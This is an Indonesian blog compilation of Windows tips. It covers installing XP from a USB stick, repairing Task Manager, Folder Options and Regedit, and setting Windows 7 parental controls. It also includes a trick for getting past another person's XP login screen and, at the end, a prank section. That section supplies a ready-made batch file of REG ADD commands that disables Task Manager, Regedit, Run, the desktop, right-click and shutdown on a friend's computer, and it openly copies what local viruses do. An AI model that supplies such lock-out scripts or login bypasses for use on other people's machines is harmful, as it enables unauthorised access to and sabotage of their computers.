2. komputer korban ( victim )
3. komputer master , lengkap dengan cd-rom tentunya ( untuk membuat master flash disk )
3. cd windows xp ( asli atau palsu terserah )
4. program untuk modul installasi
- USB_PREP8 ( download via indowebster)
- PEtoUSB  ( download via indowebster)
setelah pernah pernik diatas sudah siap maka langkah selanjutnya memulai installasi windows xp dari flash disk :
langkah-langkahnya sebagai berikut :
1. Colok flash disk ke komputer master dan catat posisi drivenya , apakah di F:, G:, H:, O: dan sebagainya
2. extrak file2 yang diatas , USB_PREP8 dan PEtoUSB kedalam satu folder  misalkan  C:/usb ( hasil extrak file USB_PREP8 jadi 1 folder, copy smua file dah pindahkan ke folder C:/usb) demikian juga file PEtoUSB.
3. Siapkan cd instalan windows xp dan masukkan ke cd rom komputer master .
4. selanjutnya buka folder C:\USB yang sudah dibuat dan berisi file2 tersebut diatas.
5. Selanjutnya jalankan file bernama “usb_prep8.bat” lalu akan muncul sebuah windows command prompt berisi bermacam2 perintah

tekan sembarang tombol aja di keyboard.
6. selanjutnya di layar komputer kamu akan muncul program PEtoUSB yang meminta untuk memformat flash disk kamu , klik start aja langsung.
7. Jika proses format sudah selesai, tutup program PEtoUSB ( jangan tutup windows command prompt usb_prep8.bat ) di layar akan muncul opsi-opsi dari 0 hingga 5.
8. Selanjutnya pilih opsi ke 1 untuk memilih sumber file installasi windows ( pilih drive cd rom kamu aja yang berisi cd installan windows ) atau juga bisa folder yang berisi file2 source instalasi windows.
9. setelah diatas , akan diminta lagi memilih opsi dan pilih opsi ke 3 untuk mentukan dimana kamu mencolokkan flash disk kamu, kalau di drive E maka ketik e dan tekan enter.
10. setelah tahap ini pilihlah opsi 4 untuk memulai proses pembuatan modul instalasi yang nantinya akan disalin ke flash disk secara otomatis. Jawab apa pun konfirmasi yang muncul dengan Y atau YES atau OK atau bentuk persetujuan lain. dalam proses ini akan memakan waktu yang cukup lama, proses pembuatan modul instalasi / pengcopyan file ke flash disk kamu ( mungkin lebih dari 15 menit )
yang sabar aja, setelah selesai sekarang kamu sudah memiliki flash disk yang bootable dan mampu menginstall windows secara langsung.
11. cabutlah flash disk dari komputer master lalu colokkan ke komputer victim untuk memulai installasi, bootlah komputer kamu dari flash disk .
lalu dilayar akan muncul 2 opsi penginstallan, pilihlah opsi yang kedua dan proses penginstalan windows akan mulai berjalan.

Install Windows XP lewat USB Flash Disk

Menginstall Windows XP di perangkat komputer yang tak memiliki drive optik memang susah-susah gampang. Salah satu metode yang biasa dipakai antara lain memanfaatkan DVDROM external berbasis USB atau langsung memakai USB Flashdisk sebagai media installernya. Nah berikut adalah tutorial tentang bagaimana mempersiapkan USB Flashdisk sebagai Installer Windows XP.
File-file yang akan anda butuhkan dapat anda unduh dari alamat berikut :
  1. USB Prep8 : http://emka.web.id/?attachment_id=299
  2. PeToUSB 3.0.0.7 : http://emka.web.id/?attachment_id=300
Langkah-langkah Pembuatan:
1. Ekstrak kedua file sesuai keinginan Anda dengan menggunakan WinZip atau WinRar (Lebih baik buat Folder baru), sebaiknya File PeToUSB_3.0.0.7.zip dijadikan satu folder bersama File usb_prep8.zip atau sebaliknya.
2. Tancapkan USB flash disk ke salah satu port USB. Ingat-ingat posisi drive-nya. Apakah F:, G:, H:, dan sebagainya.
3. Masukkan CD instalasi Windows XP ke optical drive. Jika komputer menjalankan proses instalasi secara otomatis, batalkan saja dan tutup semua aplikasi yang tengah berjalan.
4. Selanjutnya, buka folder di mana Anda mengekstrak aplikasi modul pembuat instalasi.
5. Jalankan file bernama “usb_prep8.bat” maka di layar monitor akan tampak jendela Command Prompt berisi macam-macam perintah. Jika sudah muncul tulisan “Press any key to continue,” tekan sembarang tombol untuk konfirmasi.
6. Di layar akan muncul jendela PEtoUSB yang meminta Anda memformat USB flash disk Anda. Tak perlu mengubah setting apa pun, langsung klik Start untuk mulai proses format. Jawab konfirmasi sesuai kebutuhan Anda.
7. Jika sudah selesai, tutup jendela PEtoUSB (jangan menutup jendela Command Prompt yang tadi terbuka ketika Anda menjalankan usb_prep8.bat), maka di layar akan muncul opsi-opsi dari 0 hingga 5.
8. Gunakan opsi 1 untuk memilih sumber file instalasi yang nantinya akan disalin ke flash disk. Disini, tentukan di drive mana Anda menyimpan instalasi Windows XP. Pilih saja optical drive di mana sudah ada CD Windows XP di dalamnya, atau pilih folder pilihan Anda jika Anda telah menyalin file instalasi Windows XP ke folder tertentu.
9. Pilih opsi 3 untuk menentukan di mana Anda mencolok flash disk. Kalau flash disk Anda berada di drive F:, maka ketik F dan tekan ENTER. Jika drive G: maka ketik G dan tekan ENTER, begitu seterusnya berlaku untuk drive lain.
10. Selanjutnya pilih opsi 4 untuk mulai proses pembuatan modul instalasi yang nantinya akan disalin ke flash disk secara otomatis. Jawab apa pun konfirmasi yang muncul dengan Y atau YES atau OK atau bentuk persetujuan lain.
Selesai! Kini flash disk Anda telah siap digunakan untuk instalasi Windows XP! Silahkan melakukan setting pada BIOS Anda, dan pilih Removeable Disk (atau apa pun nama lainnya) sebagai media pertama yang dijalankan saat booting.
Untuk yang menggunakan sistem RAID, coba pakai Nlite,

Kamis, 10 Maret 2011

Trik Hapus Virus dari Safe Mode

Ada beberapa alasan yang mengharuskan user untuk meng-instal aplikasi Windows di Safe Mode, seperti adanya troubleshooting booting yang gagal, menghapus spyware atau virus, atau membersihkan program yang tidak dipakai untuk mempercepat kinerja computer. Instruksi berikut ini sekaligus untuk menghilangkan pesan error “Windows Installer Service could not be accessed”, ketika menjalankan Windows di Safe Mode atau jika instalasi Windows Installer tidak benar.
  • Nyalakan computer, tekan F8 ketika sudah melihat text di layar, sebelum splash screen Windows, dan hentikan menekan F8 ketika sudah melihat menu Windows Advanced Options".
  • Gunakan anak panah di keyboard untuk memilih safe mode dengan jaringan, tekan Enter.
  • Buka Internet Explorer atau Firefox
  • Untuk mengaktifkan layanan Windows Installer dan semua layanan yang berkaitan dibutuhkan aplikasi SafeMSI, jadi copy dan paste link http://computerbusiness101.com/?s=safemsi di address bar browser
  • Klik title "Software Pick of the Week: SafeMSI", lalu download file "SafeMSI.zip"
  • Ekstrak file SafeMSI.exe untuk membukanya, dan tunggu hingga muncul pesan "Windows Installer service has been enabled"
  • Setelah itu, Anda dapat meng-instal program atau aplikasi yang dibutuhkan, seperti scan virus dan memperbaiki troubleshooting
Dikutip dari www.beritanet.com

Mengembalikan / menampilkan Task Manager

Kadang kita agak kesulitan untuk masuk ke Task Manager karena entah kenapa tiba-tiba ter-disabled oleh administrator.
Untuk dapat mengembalikan atau menampilkan kembali Task Manager, lakukan langkah berikut ini:
1. Cara Pertama
a. Langkah pertama
Ini dilakukan dengan asusmi bahwa komputer anda sudah terbebas dari virus (lakukan pembersihan virus pada komputer anda terlebih dahulu)
Masuk regedit dengan cara ketik regedit pada run menu, caranya klik start - run kemudian ketik regedit dan tekan Enter atau klik OK

b. Langkah kedua
Klik menu Edit kemudian pilih Find dan ketikkan kata DisableTaskMgr (penulisan tidak tegantung huruf kecil/besar) kemudian klik Find Next hingga menemukan data seperti berikut

bila sudah menemukan data seperti di atas maka ikuti langkah berikut ini

c. Langkah ketiga
Mengubah Value data DisableTaskMgr dengan cara double klik pada kata DisableTaskMgr dan ubah angka 1 (satu) menjadi 0 (nol) dan tekan ENTER atau klik OK dengan maksud agar Task Manager di enable kan

d. Langkah keempat
Tutup regedit dan coba tekan CTRL + ALT+ DEL (tanpa plus ya..)

2. Cara yang kedua lebih mudah
Cari progrma Fix Task Manager di mesin pencari misalnya Mbah Google, kemudian donlot. Setelah selesai donlot coba buka program tersebut dan klik tombolnya.
Wah perhatikan bagaimana hasilnya?

Selamat mencoba

Folder Options Hilang

Repot juga ketika dulu di Rentalan saya Folder Optionsnya hilang, kemudian saya cari tahu cara menampilkan kembali melalui Mbah Google, saya mendapatkan link yang membantu saya. Cara-cara menampakkan kembali Folder Options antara lain:
Langkah Satu :
Klik menu Start > Run
Ketik : “gpedit.msc” tanpa tanda kutip untuk membuka Group Policy Windows
Setelah itu masuk ke :User Configuration >Administrative Templates >Windows Component > Windows Explorer.
Di Panel sebelah kanan, carilah “Remove the Folder Option menu item from the Tools Menu” kemudian double klik dan set value ke “Disabled”
Langkah Dua :
Bukan Registry Editor dengan mengetikan “Regedit” pada menu Run
Kemudian carilah key berikut : HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
dan pada panel sebelah kanan cari : NoFolderOptions dan set value menjadi 0
jika anda tidak menemukan NoFolderOptions, tinggal anda buat sendiri dan masukkan valuenya dengan 0.
Jika Regedit anda terdisabled, tampakkan dulu, untuk mengetahui caranya baca disini.

Selamat Mencoba

Menampilkan Regedit yang disabled

Pusing kalo mau mau ngedit di Regedit, eh malah terdisabled oleh virus. Untuk menampilkannya kembali ada beberapa cara. Kebetulan, di bawah ini saya tuliskan dengan dua cara. Cara pertama membuat file dengan script tertentu kemudian saya simpan dengan ekstensi *.js kemudian saya buka file tersebut dan pilih No.
Cara kedua saya menggunakan sebuah software berekstensi *.exe yang kemudian saya buka, kemudian saya pilih Fix Regedit.
1. Cara pertama
Tuliskan/copy pastekan tag/script di bawah ini pada Notepad kemudian simpan dengan nama Regedit.js

// Program Regedit
// Nama Program: regedit.js
var vbCancel = 2;
var vbYesNoCancel = 3;
var vbYes = 6;
var vbNo = 7;
var vbQuestion = 32;
var vbInformation = 64;
var natan = WScript.CreateObject("WScript.Shell");
var pesan1 = "Pilihan Pengaman Regedit:\n\n"+
"[Ya] untuk Nonaktifkan Regedit.\n"+
"[Tidak] untuk Aktifkan Regedit.\n"+
"[Batal] untuk Keluar.\n\n"+
"Agus Arifin Anwar\n\n"+
"-> Disabled Regedit sekarang?"
var tanya = natan.popup(pesan1,0,"Pengaman Regedit",vbYesNoCancel+
vbQuestion);
if (tanya == vbYes)
{
natan.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion"+
"\\Policies\\System\\DisableRegistryTools",1,"REG_DWORD");
pesan2 = "Regedit Dinonaktifkan!"
natan.popup(pesan2,0,"Pengaman Regedit",vbInformation);
}
else if (tanya == vbNo)
{
natan.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion"+
"\\Policies\\System\\DisableRegistryTools",0,"REG_DWORD");
pesan3 = "Regedit Diaktifkan!"
natan.popup(pesan3,0,"Pengaman Regedit",vbInformation);
}
else
{
natan.popup("Terima Kasih Kawan",0,"Pengaman Regedit",vbInformation);
}



2. Cara kedua
Cari Fix Regedit dengan menggunakan mesin pencari Google atau yang lainnya, kemudian di-donlot. Setelah selesai donlot, Buka file tersebut kemudian Klik Fix Regedit.

Selesai Deh sudah.

Mengatasi Lupa User Password Pada Windows XP

Sistem Operasi merupakan software induk yang mengatur seluruh kinerja komputer. Jenis-jenis sistem operasi diantaranya : Windows, Linux, MAC OS, Free BSD, Solaris, MS DOS, dan lain-lain. Dan yang paling umum adalah Windows. Sistem Operasi milik Bill Gates ini memiliki pengguna terbanyak di seluruh dunia.
Siapa yang tak kenal dengan sistem paling populer di dunia ini. Windows, ya itu namanya. Seluruh penjuru dunia sebagian besar menggunakan sistem operasi ini. Dimana sistem operasi ini sangat user friendly. Artinya mudah dalam pengoperasiannya. Varian daripada Windows ini diantaranya :
→ Windows I → Windows 2000
→ Windows II → Windows ME
→ Windows III → Windows XP
→ Windows 95 →Windows Vista
→ Windows 98 → Windows 7
Langkah 1
Mungkin kita pernah mengalami masalah seperti tampilan diatas ini. Dimana sewaktu kita menghidupkan komputer seseorang, tiba-tiba Windows-nya meminta password user yang mesti diisikan sebelum masuk ke Windows tersebut. Sedangkan kita sendiri tidak tahu password yang dibuat oleh pemiliknya. Diisi sembarangan gak berhasil, mungkin tanggal lahir pemilik, ternyata salah juga. Gimana donk ni…pemiliknya kebetulan lagi pergi.
Tiap kali masukin password gak bisa, dikosongin apalagi. Yang nampil adalah seperti layar di bawah. Kesel banget……..
Upss…..gak sesulit itu….
Langkah 2
Bila telah muncul tampilan Windows log on seperti tampilan diatas, sampai kapanpun kita acak –acak passwordnya, gak bakalan berhasil masuk ke windowsnya.
Agar bisa, tekan (CTRL + ALT + DELETE) sebanyak dua kali. Sehingga nantinya muncul layar Log ON Windows yang baru seperti tampilan dibawah ini :
Langkah 3
Setelah muncul tampilan ini, nah kita tinggal ganti aja nama user si “Kadarisman” menjadi “administrator”.
Setelah itu, klik aja tombol OK atau ENTER pada keyboard…
Langkah 4
Dijamin deh…bobol tu Windows….Hehehehe…..tapi jangan digunakan untuk mengusilin komputer teman ya..??????
Nanti muncul tampilan seperti dua gambar dibawah ini :
Nah……Bisa kan..??? sekarang kita udah bisa memakai nih komputer seperti sedia kala. Yang penting sih, siap-siap aja dimarahi dengan yang punya komputer. Karena kita menggunakan komputernya.

Pembatasan Hak Akses pada User di Windows 7

Pendahuluan
Pembatasan Hak akses user ataupun administrator pada Microsoft Windows 7 sangat berguna baik untuk keperluan kantor atau keluarga kenapa? karna fitur hak akses di Windows 7 memang diperuntukan untuk pekerjaan kantor atau untuk pemakaian keluarga.
Contoh pembatasan hak akses untuk pemakaian dikantor bila : 1) Setiap karyawan di kantor menggunakan fasilitas komputer di kantor seringkali masih menggunakanya setelah jam kerja selesai yang efeknya pemborosan listrik terhadap perusahan. Disana kita bisa menggunakan timers pada user control. 2) Pengaplikasian user control dirumah, sering kali orang tua kurang pengawasannya terhadap anak di depan komputer hingga lupa waktu dan bahayanya banyak sekali konten +18 di internet yang seharusnya tidak boleh dilihat oleh anak ataupun terlalu sering bermain game jadi malas belajar.
Oleh karena itu, saya akan memberikan tips untuk pembatasan hak akses yang dilakukan di Windows 7.
Langkah 1
Klik logo windows lihat di gambar 1, lalu arahkan ke Control Panel dan klik 2 kali.
Langkah 2
Setelah masuk ke Control Panel Pilih User Acounts.
Langkah 3
Setelah masuk jendela user Accounts yang tampil hanya logo adminstrator saja, bila kita ingin tampilkan list user yang ada dalam dalam sebuah unit PC atau Laptop maka kita pilih Manage another account.
Langkah 4
Terlihat tampilan logo administrator dan user tapi itu belum kita perlukan lihat. Klik 2 kali di Set up Parental Controls dibawah tulisan additional things you can do. Lihat gambar 4.
Langkah 5
Disini sebagai contoh saya akan memilih user bernama ghostblup untuk dibatasi hak aksesnya karena disebuah perusahan dia adalah pegawai yang sangat bandel sekali sering menggunakan internet sampai larut malam dan sering bermain game saat jam kerja :D . Saya selaku administrator tidak tinggal diam, lalu saya membatasi hak akses komputer ghostblup. Klik 2 kali pada logo ghostblup, lihat gambar 5.
Langkah 6
Sekarang kita aktifkan dulu parental control-nya saat kita buka otomatis dalam keadaan off lalu kita centang saja keposisi On untuk mengaktifkanya lihat huruf yang di lingkaran kecil pada gambar 6, setelah itu kita atur Time Limits nya buat si user bandel ghostblup ini arahkan krusor ke lingkaran besar yang ada digambar 6 lalu klik 2 kali.
Langkah 7
Disini kita bisa mengatur rentang waktu pengoperasian komputer user yang bisa digunakan berwarna putih. Yang berwarna biru komputer diblok dan tidak bisa digunakan oleh si user bandel tersebut. Lihat digambar 7 Senin dari pukul 00.00 – 07.00 komputer tidak bisa digunakan 1 jam sebelum masuk kerja rentang waktu jam 07.01 – 16.00 komputer bisa kembali digunakan dan pukul 16.01 – 24.00 komputer kembali diblok lihat. Tinggal kalian kombinasikan antara jam berapa saja bisa digunakan tidak harus sama waktu untuk memblok waktu limitnya untuk mem blok rentang waktu arahkan krusor kearah waktu dan hari yang ingin diblok bila sudah selesai klik OK.
Langkah 8
Setelah selesai pengaturan di time limits dan klik Ok maka akan kembali lagi tampilan gambar 6, tidak serta merta sang administrator puas karena dia masih harus memikirkan si user bandel ini untuk tidak bermain game, kebetulan di parental control ini ada juga untuk memblok games juga konten yang berbau pornografi dan lainya, lalu sang administrator dengan sigap meklik Games lalu ada pertanyaan can ghostblup play games? Lalu kita centang No lihat gambar 8 yang dilingkaran kecil lalu Klik Ok. Tamat sudah eksistensi si user di game online terpaksa harus merogoh kocek sendiri untuk bermain game dan download diwarnet.
Langkah 9
Setelah keesokan harinya si user bandel tersebut masuk ke ruangan kerjanya untuk melakukan aktifitasnya dengan bermain game Age of Empires 2 kesukaannya dia bingung kenapa gamenya tidak bisa dibuka setelah dia tidak bisa bermain game lalu dia membuka browser Mozila Firefox kesayanganya dan membuka situs dengan konten berbau pornografi ternyata diblok juga. Ternyata si user bandel ini belum kehabisan ide ada saja akal user ghostblup yang bandel ini untuk melakukan hobinya tersebut, iya teringat kalau di hardisk externalnya tersimpan koleksi film XXX hampir 250 giga. Lalu dia memutarnya 2 film sekaligus mengunakan K-lite Codec dan Winamp.
Ternyata admin kantor tersebut kecolongan lagi dengan sigap saat makan siang, si user bandel itu sedang makan ia remote kembali PC si bandel lalu melakukan pengaturan lagi dan kembali ke tampilan Gambar 6 lalu meng Klik Allow and block specific programs dan setelah masuk ada tulisan Whinch programs can ghostblup use? Pada pengaturan defultnya berada di ghostblup can use all programs lalu kita rubah centang ghostblup can only use the programs i allow lihat gambar lingkaran kecil di gambar 9 setelah itu Klik Check All semua program aan tercentang secara otomatis sekarang kita akan cari Software K-lite Codec lalu menghilangkan centangnya satu persatu disana ada 5 total yang di hapus centangnya khusus
Untuk Software K-lite Codec dan begitu juga untuk software Winamp yang ingin kita blok hapus juga centangnya dan terakhir Klik Ok.
Sekian Tulisan, saya minta maaf bila kurang sempurna dalam tulisan dan penyampaian kata-kata. Terus terang tidak ada refrensi dalam tulisan ini kebetulan tulisan ini dari ketidaksengajaan penulis saat menggunakan sistem operasi Windows 7. Bila ada pertanyaan atau perbaikan seputar tulisan ini silakan email ke  ghostblup@gmail.com.

Menambah FIle Bat lewat CMD

Tahukah klo cmd bisa akses dan menambah windows registry
Neh kode tuk nambah registry lewat komand prompt
[Code]
..............kopi disini ...................

REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoDispCPL /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoDispAppearancePage /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoDispBackgroundPage /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoDispScrSavPage /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoDispSettingsPage /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoNetSetup /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoSecCPL /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoAdminPage /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoProfilePage /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoPwdPage /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoConfigPage /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoFileSystemPage /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFolderOptions /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoRun /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFind /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoDevMgrPage /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoPrinterTab /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDeletePrinter /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoAddPrinter /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
................akhiri di sini.......................
klo dah paham struktir registry windows (regedit) pasti bisa ber improvisasi
untuk bantuan jalankan cmd >run >pada command line ketik "CMD"
trus klo dah masuk lihat perintah yang ada dengan mengetikm "help"
nanti akan muncul fungsi2 dalam cmd (misal "reg add" atau mo lihat penjelasan lebih ketik misal "reg add /?"
Atau bisa kopi kode diatas di notepad simpan dengan setingan all file dengan ekstensi .bat
Selamat mencoba

Membuat File Bat

Pengalaman penulis yang iseng kerjain temen tenyata asik juga. Berawal dari iseng maka munculah rencana kejahatan kecil untuk teman tercinta dan ter-sok tau….
Gini ceritanya, teman gue itu terkenal soak tau dan pelit ilmu, ampe-ampe untuk minjem computer aja ga boleh bahkan klo tho boleh pasti dilihatain, wkkkkkkk

Kemunculan ide………..
Yah berawal dari rasa dongkol dihati makanya gue pulang dan punya rencana tuk kerjain tuh teman…..dengan bermodal program text editor (notepad) dan sedikit pengetahuan tentang stuktur registry

Langkah pertama :
Buka notepad dan siap bongkar isi otak….cari tentang registry, sebetulnya hal ini terilhami oleh olah kebanyakan virus local yang bikin jengkel, seperti blokir registry (regedit) blokir CMD, Blokir Folder Option dan lain lain. Cara paling praktis tuh dengan akses registry lewat cmd…wuih nehh mah artikel jadul, tp ga papalah…….

Cara akses dan bahkan menyuntikan key ke registry. Sebeltulnya perintah2 dalam cmd dapat kita buat script program sederhana yaitu dengan mengkompile menjadi file bat…..klo itu dijelaskan nanti di akhir aja……..

Berikut ini daftar key diregisrty yang kan kita buat
NoDispCPL = sembunyiin Pengaturan display properti
NoDispAppearancePage = sembunyiin Pengaturan thema
NoDispScrSavPage = sembunyiin Pengaturan screen saver
NoDispSettingsPage = sembunyiin Pengaturan display property (desk.cpl)
NoNetSetup = sembunyiin Pengaturan Network
NoAdminPage = sembunyiin halaman Admin
NoProfilePage = sembunyiin halaman user account
NoPwdPage = sembunyiin Halaman password user account
NoFolderOptions = sembunyiin Folder Option
DisableRegistryTools = Blokir registry
NoRun = Blokir RUN
DisableTaskMgr = Blokir Task manager
NoFind = Blokir Search
NoDevMgrPage = sembunyiin Pengaturan device manager
NoViewContextMenu = Blokir Klik kanan (gak bias klik kanan)
NoPrinterTab = sembunyiin Printer
NoDesktop = sembunyiin Pengaturan display properti
NoClose = sembunyiin Tombol shutdown

Nah itu daftar2 taget serangan di registry…..wkkkkkkkkkkkk dah muali punya pikiran criminal nehhh
Nah kita minta bantuan help di cmd dengan cara buka cmd lalu ketik reg add /?
Maka muncuk kayak gini neh
REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f]

KeyName [\\Machine\]FullKey
Machine Name of remote machine - omitting defaults to the current
machine Only HKLM and HKU are available on remote machines
FullKey ROOTKEY\SubKey
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
SubKey The full name of a registry key under the selected ROOTKEY

/v The value name, under the selected Key, to add

/ve adds an empty value name for the key

/t RegKey data types
[ REG_SZ | REG_MULTI_SZ | REG_DWORD_BIG_ENDIAN |
REG_DWORD | REG_BINARY | REG_DWORD_LITTLE_ENDIAN |
REG_NONE | REG_EXPAND_SZ ]
If omitted, REG_SZ is assumed

/s Specify one charactor that you use as the separator in your data
string for REG_MULTI_SZ. If omitted, use "\0" as the separator

/d The data to assign to the registry ValueName being added

/f Force overwriting the existing registry entry without prompt

Examples:
REG ADD \\ABC\HKLM\Software\MyCo
Adds a key HKLM\Software\MyCo on remote machine ABC

REG ADD HKLM\Software\MyCo /v Data /t REG_BINARY /d fe340ead
Adds a value (name: Data, type: REG_BINARY, data: fe340ead)

REG ADD HKLM\Software\MyCo /v MRU /t REG_MULTI_SZ /d fax\0mail
Adds a value (name: MRU, type: REG_MUTLI_SZ, data: fax\0mail\0\0)

REG ADD HKLM\Software\MyCo /v Path /t REG_EXPAND_SZ /d %%systemroot%%
Adds a value (name: Path, type: REG_EXPAND_SZ, data: %systemroot%)
Notice: Use the double percentage ( %% ) inside the expand string
Nah kita jelaskan atu2:
Perintah reg add digunakan untuk menambah key di registry
Dengan syntak nya kurang lebih sperti ini
REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f]
Pada key name adalalah struktur key dlam registry
HKLM iyu sama dengan HKey_Local_Machine
HKCU sama dengan HKey_Curent_User
HKU sama dengan HKey_User
HKCC sama dengan HKey_Curent_Config
Dan bla-bla-bala
Trus parameter switch
/v Value atau nilai yang kan kita buat

/ve Nilai kosong

/t Tipe Data pada RegKey
Macamnya
REG_SZ,
REG_MULTI_SZ
REG_DWORD_BIG_ENDIAN
REG_DWORD
REG_BINARY
REG_DWORD_LITTLE_ENDIAN
REG_NONE | REG_EXPAND_SZ ]

/s Menspesifikan karakter yang digunakan untuk sparator data string untuk REG_MULTI_SZ. Dan bias dikesampingkan dengan menggunakan "\0" sebagai separator
/d Data yang kan kita masukan atau ValueName yang kan ditambah

/f Paksa untuk overwrite data yang sudah ada

Langsung aja
Untuk lakukan prosedur itu, kita tanamkam data yang akan kita tambahkan, sebagai contoh untuk NoDispCPL = sembunyiin Pengaturan display properti
Value NoDispCPL kita tamankan pada key
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System
Sehingga kita mendapatkan syntak script
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoDispCPL /t REG_DWORD /d 1 /f
Artinya : kita akan menambah key pada HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System sebuah value dengan nama NoDispCPL dengan tipe (t) REG_DWORD dan memasukan nilai data(d) 1 (1=enable 0 = disable) denga modus paksa (f)
Itu syntak yang kiat tuliskan
Gampang khan,? Kita tinggal copy syntak tsb
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoDispCPL /t REG_DWORD /d 1 /f
Ke notepad dan simpan dengan aturan Save as >save as type (pilih all files) dan file name = xxxx.bat(lihat ekstensi .bat) atau kamu bias kasih nama sendiri asalkan ekstensi harus .bat

Jadi script lengkapnya ini
Kopi kode Sesudah tanda bintang
***************
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoDispCPL /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoDispAppearancePage /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoDispBackgroundPage /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoDispScrSavPage /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoDispSettingsPage /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoNetSetup /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoSecCPL /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoAdminPage /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoProfilePage /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoPwdPage /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoConfigPage /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoFileSystemPage /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFolderOptions /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoRun /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFind /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoDevMgrPage /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoPrinterTab /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDeletePrinter /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoAddPrinter /t REG_DWORD /d 1 /f
